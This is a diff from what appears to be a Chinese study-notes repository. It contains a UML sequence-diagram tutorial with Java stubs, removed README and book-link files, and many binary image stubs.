<div align="center"> <img src="../pics//47ca2614-509f-476e-98fc-50ec9f9d43c0.png"/> </div><br>
1. A 类是 B 类中的(某中方法的)局部变量;
2. A 类是 B 类方法当中的一个参数;
3. A 类向 B 类发送消息,从而影响 B 类发生变化;
## 时序图
### 1. 定义
时序图描述了对象之间传递消息的时间顺序,它用来表示用例的行为顺序。它的主要作用是通过对象间的交互来描述用例(注意是对象),从而寻找类的操作。
### 2. 赤壁之战时序图
从虚线从上往下表示时间的推进。
<div align="center"> <img src="../pics//80c5aff8-fc46-4810-aeaa-215b5c60a003.png"/> </div><br>
可见,通过时序图可以知道每个类具有以下操作:
```java
publc class 刘备 {
public void 应战 ();
}
publc class 孔明 {
public void 拟定策略 ();
public void 联合孙权 ();
private void 借东风火攻 ();
}
public class 关羽 {
public void 防守荊州 ();
}
public class 张飞 {
public void 防守荆州前线 ();
}
public class 孙权 {
public void 领兵相助 ();
}
```
### 3. 活动图、时序图之间的关系
活动图示从用户的角度来描述用例;
时序图是从计算机的角度(对象间的交互)描述用例。
### 4. 类图与时序图的关系
类图描述系统的静态结构,时序图描述系统的动态行为。
### 5. 时序图的组成
#### 对象
有三种表现形式
<div align="center"> <img src="../pics//25b8adad-2ef6-4f30-9012-c306b4e49897.png"/> </div><br>
在画图时,应该遵循以下原则:
1. 把交互频繁的对象尽可能地靠拢。
2. 把初始化整个交互活动的对象(有时是一个参与者)放置在最左边。
#### 生命线
生命线从对象的创建开始到对象销毁时终止
<div align="center"> <img src="../pics//b7b0eac6-e7ea-4fb6-8bfb-95fec6f235e2.png"/> </div><br>
#### 消息
对象之间的交互式通过发送消息来实现的。
消息有 4 种类型:
1\. 简单消息,不区分同步异步。
<div align="center"> <img src="../pics//a13b62da-0fa8-4224-a615-4cadacc08871.png"/> </div><br>
2\. 同步消息,发送消息之后需要暂停活动来等待回应。
<div align="center"> <img src="../pics//33821037-dc40-4266-901c-e5b38e618426.png"/> </div><br>
3\. 异步消息,发送消息之后不需要等待。
<div align="center"> <img src="../pics//dec6c6cc-1b5f-44ed-b8fd-464fcf849dac.png"/> </div><br>
4\. 返回消息,可选。
#### 激活
生命线上的方框表示激活状态,其它时间处于休眠状态。
<div align="center"> <img src="../pics//6ab5de9b-1c1e-4118-b2c3-fb6c7ed7de6f.png"/> </div><br>
<div align="center"> <img src="../pics//c7d4956c-9988-4a10-a704-28fdae7f3d28.png"/> </div><br>
# 参考资料

View File

@ -1,3 +0,0 @@
<div align="center">
<img src="alipay.png" alt="" width="225"/>
</div>

Binary file not shown.

Before

Width:  |  Height:  |  Size: 55 KiB

View File

@ -1,45 +0,0 @@
# 网络
<a href="https://pan.baidu.com/s/1EXaJbNckzuQMOCyamzjL_Q"> <img src="s3296854.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1oBbA9LOevcJ_reg8y5kOvw"> <img src="s28845534.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1M0AHXqG9sP9Bxne6u0JK8A"> <img src="s27283822.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1y0P-VFlWKdOPW7YB60OWlw"> <img src="s26676928.jpg" width="130"/> </a>
# 操作系统
<a href="https://pan.baidu.com/s/1C-MgvslLKd1buwmebti6Qg"> <img src="s1650904.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1Qm2G4rghPorQeH5J9fDHTg"> <img src="s4399937.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1OoyVI90fK1Q9eixzH9jnpQ"> <img src="s4510534.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/12mTkrpLsb7tz11cGn_KZ4w"> <img src="s3895413.jpg" width="130"/> </a>
# 算法
<a href="https://pan.baidu.com/s/1Va1R66d13ynmita8nfkRPg"> <img src="s28322244.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1HmGwXvTcHDrQnUAL1wWE3g"> <img src="s7038106.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1SZGUbvKpKOomM-iYxe_GGw"> <img src="s2992671.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/10EoXyW33MnYJUX5YeD5pPg"> <img src="s28313721.jpg" width="130"/> </a>
# 设计模式
<a href="https://pan.baidu.com/s/1JOO4M3c6EGB5xHz_-aGtDQ"> <img src="s2686916.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1n41aEgGuRg9hQ-9iwOxc5A"> <img src="s1074361.jpg" width="130"/> </a>
# 数据库
<a href="https://pan.baidu.com/s/1xhYsZUi2fugLf9jxSWA0pQ"> <img src="s2359163.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1aXRWznphuiEc4XRXpM1qLA"> <img src="s4141593.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/182JK19-rvbISYAv4aLk7xg"> <img src="s5968156.jpg" width="130"/> </a>
# Redis
<a href="https://pan.baidu.com/s/1bfbiPjoBEaNUs6qLWVEIJw"> <img src="s27297117.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1XovYaApdsVsd97pLCwAvpA"> <img src="s28296984.jpg" width="130"/> </a>
# Java
<a href="https://pan.baidu.com/s/1iNBkY9ANUcmeSp4VjBGhRQ"> <img src="s27243455.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1zdATX8Qs-RMk6DN7iqECYw"> <img src="s27458236.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1LkPVPrT_3BYFkfxieBkeVw"> <img src="s7663093.jpg" width="130"/> </a>
# C++
<a href="https://pan.baidu.com/s/1VhhqN7oVcrv0KhF32CXRLQ"> <img src="s27023182.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1u3-QrdnkHo5ScUK84v7C5w"> <img src="s2996168.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1K6xm3YlV53trCxyGR0j_gQ"> <img src="s4436543.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/10iFqDOHSveJC3VC7dl1vMw"> <img src="s1613283.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1o-hgLJ4XvXAHeFhWAuuiFQ"> <img src="s4647091.jpg" width="130"/> </a>
# 工具
<a href="https://pan.baidu.com/s/1zYoS3lB1yCCT-So1YeoRuA"> <img src="s4245786.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1ybA1qvjx4p844Pd8zDlx7Q"> <img src="s2794811.jpg" width="130"/> </a>
# 编码实践
<a href="https://pan.baidu.com/s/1H1ilY54BISk7oDaKYpcrwA"> <img src="s1495029.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1pWGwRRVxtpSmlsK7B1uU7Q"> <img src="s4157180.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1HGHeahqtscz7iczhK7ps-Q"> <img src="s1671095.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/14uxNIdeXKLOnUJ6LMRndPg"> <img src="s10328621.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/17sIRZxCf_uJMZNnqAHEDkA"> <img src="s11194203.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1MaNeNsoqlTMn2uuT1QrsHQ"> <img src="s1086045.jpg" width="130"/> </a> &nbsp;&nbsp;
# 科普
<a href="https://pan.baidu.com/s/1fKo7ntvQUettvjaTQqyCEw"> <img src="s1113106.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1dNFZcBdDhA80-pWT1qcQSg"> <img src="s9114855.jpg" width="130"/> </a> &nbsp;&nbsp; &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1fII84UPuo8aIxDkOakvUVg"> <img src="s4379914.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1XarJowXrxoBtKdmVCGcm1w"> <img src="s4687321.jpg" width="130"/> </a> &nbsp;&nbsp; <a href="https://pan.baidu.com/s/1s0vhcWxN_36PpZeJoOHrKA"> <img src="s4669554.jpg" width="130"/> </a>

View File

@ -1,76 +0,0 @@
# 关于
计算机经典书籍 PDF 下载
# 网络
- [计算机网络.pdf](https://pan.baidu.com/s/1EXaJbNckzuQMOCyamzjL_Q)
- [TCP/IP详解.pdf](https://pan.baidu.com/s/1oBbA9LOevcJ_reg8y5kOvw)
- [图解 HTTP.pdf](https://pan.baidu.com/s/1M0AHXqG9sP9Bxne6u0JK8A)
- [图解 TCP/IP.pdf](https://pan.baidu.com/s/1y0P-VFlWKdOPW7YB60OWlw)
# 操作系统
- [计算机操作系统.pdf](https://pan.baidu.com/s/1C-MgvslLKd1buwmebti6Qg)
- [鸟哥的 Linux 私房菜](https://pan.baidu.com/s/1Qm2G4rghPorQeH5J9fDHTg)
- [深入理解计算机系统.pdf](https://pan.baidu.com/s/1OoyVI90fK1Q9eixzH9jnpQ)
- [现代操作系统.pdf](https://pan.baidu.com/s/12mTkrpLsb7tz11cGn_KZ4w)
# 算法
- [算法.pdf](https://pan.baidu.com/s/1Va1R66d13ynmita8nfkRPg)
- [剑指 Offer.pdf](https://pan.baidu.com/s/1HmGwXvTcHDrQnUAL1wWE3g)
- [编程之美.pdf](https://pan.baidu.com/s/1SZGUbvKpKOomM-iYxe_GGw)
- [程序员代码面试指南.pdf](https://pan.baidu.com/s/10EoXyW33MnYJUX5YeD5pPg)
# 设计模式
- [Head First 设计模式.pdf](https://pan.baidu.com/s/1JOO4M3c6EGB5xHz_-aGtDQ)
- [设计模式 可复用面试对象软件的基础.pdf](https://pan.baidu.com/s/1n41aEgGuRg9hQ-9iwOxc5A)
# 数据库
- [数据库系统概论.pdf](https://pan.baidu.com/s/1xhYsZUi2fugLf9jxSWA0pQ)
- [高性能 MySQL.pdf](https://pan.baidu.com/s/1aXRWznphuiEc4XRXpM1qLA)
- [MySQL 必知必会.pdf](https://pan.baidu.com/s/182JK19-rvbISYAv4aLk7xg)
# Redis
- [Redis 设计与实现.pdf](https://pan.baidu.com/s/1XovYaApdsVsd97pLCwAvpA)
- [Reids 实战.pdf](https://pan.baidu.com/s/1bfbiPjoBEaNUs6qLWVEIJw)
# Java
- [Java 编程思想.pdf](https://pan.baidu.com/s/1iNBkY9ANUcmeSp4VjBGhRQ)
- [深入理解 Java 虚拟机.pdf](https://pan.baidu.com/s/1zdATX8Qs-RMk6DN7iqECYw)
- [Java 并发编程实战.pdf](https://pan.baidu.com/s/1LkPVPrT_3BYFkfxieBkeVw)
# C++
- [C++ Promer 第五版.pdf](https://pan.baidu.com/s/1VhhqN7oVcrv0KhF32CXRLQ)
- [C 和指针.pdf](https://pan.baidu.com/s/1u3-QrdnkHo5ScUK84v7C5w)
- [Unix 环境高级编程.pdf](https://pan.baidu.com/s/1K6xm3YlV53trCxyGR0j_gQ)
- [Unix 网络编程.pdf](https://pan.baidu.com/s/10iFqDOHSveJC3VC7dl1vMw)
- [Effective C++.pdf](https://pan.baidu.com/s/1o-hgLJ4XvXAHeFhWAuuiFQ)
# 工具
- [Pro Git.pdf](https://pan.baidu.com/s/1zYoS3lB1yCCT-So1YeoRuA)
- [正则表达式必知必会.pdf](https://pan.baidu.com/s/1ybA1qvjx4p844Pd8zDlx7Q)
# 编码实践
- [代码大全.pdf](https://pan.baidu.com/s/1H1ilY54BISk7oDaKYpcrwA)
- [重构.pdf](https://pan.baidu.com/s/1pWGwRRVxtpSmlsK7B1uU7Q)
- [敏捷软件开发.pdf](https://pan.baidu.com/s/1HGHeahqtscz7iczhK7ps-Q)
- [编写可读代码的艺术.pdf](https://pan.baidu.com/s/14uxNIdeXKLOnUJ6LMRndPg)
- [程序员的职业素养.pdf](https://pan.baidu.com/s/1MaNeNsoqlTMn2uuT1QrsHQ)
- [人月神话.pdf](https://pan.baidu.com/s/17sIRZxCf_uJMZNnqAHEDkA)
- [黑客与画家.pdf](https://pan.baidu.com/s/1s0vhcWxN_36PpZeJoOHrKA)
# 科普
- [计算机程序的构造与解释.pdf](https://pan.baidu.com/s/1fKo7ntvQUettvjaTQqyCEw)
- [数学之美.pdf](https://pan.baidu.com/s/1dNFZcBdDhA80-pWT1qcQSg)
- [编码.pdf](https://pan.baidu.com/s/1fII84UPuo8aIxDkOakvUVg)
- [编程珠玑.pdf](https://pan.baidu.com/s/1XarJowXrxoBtKdmVCGcm1w)

Binary file not shown.

Before

Width:  |  Height:  |  Size: 37 KiB

View File

@ -1,29 +0,0 @@
# 关于仓库
本仓库是笔者在准备 2018 年春招实习过程中的学习总结,内容以计算机书籍的学习笔记为主,在整理重点知识的同时会尽量保证知识的系统性。
# 关于贡献
因为大部分内容是笔者一个字一个字打上去的,所有难免会有一些笔误。如果发现,可以直接在相应的文档上编辑修改。
笔者能力有限,很多内容还不够完善。如果您希望和笔者一起完善这个仓库,可以在发表一个 Issue表明您想要添加的内容笔者会及时查看。
因为不打算将这个仓库做成一个大而全的面试宝典,因此只希望添加一些比较通用的基础知识,或者是和 Java 与分布式相关的内容,但是不添加 Java Web 相关的内容。
您也可以在 Issues 中发表一些关于改进本仓库的反馈意见。
# 关于上传
笔者在本地使用为知笔记软件进行书写,为了方便将本地笔记内容上传到 Github 上实现了一整套自动化上传方案包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。
进行 Markdown 文档转换的原因是 Github 使用的 GFM 不支持 MathJax 公式,也不支持 TOC 标记,因此需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。这里提供了笔者实现的 GFM 文档转换工具的下载:[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
# 关于排版
笔记内容按照 [中文文案排版指北](http://mazhuang.org/wiki/chinese-copywriting-guidelines/#%E4%B8%8D%E8%A6%81%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%9C%B0%E9%81%93%E7%9A%84%E7%BC%A9%E5%86%99) 进行排版,以保证内容的可读性。这里提供了笔者实现的中英混排文档在线工具:[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting),目前实现了加空格的功能,之后打算实现对英文专有名词提示首字母大写的功能。
不使用 `![]()` 这种方式来引用图片的原因是为了能够控制图片以合适的大小显示,并且在 GFM 中无法使用 `<center> ![]() </center>` 让图片居中显示,只能使用 `<div align="center"> <img src=""/> </div>` 达到此目的。
# 关于转载
本仓库内容使用到的资料都会在最后面的参考资料中给出引用链接,希望您在使用本仓库的内容时也能给出相应的引用链接。

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 49 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.9 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 120 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 409 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 107 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 225 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.0 KiB

BIN
pics/0635cbe8.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 129 KiB

Some files were not shown because too many files have changed in this diff Show More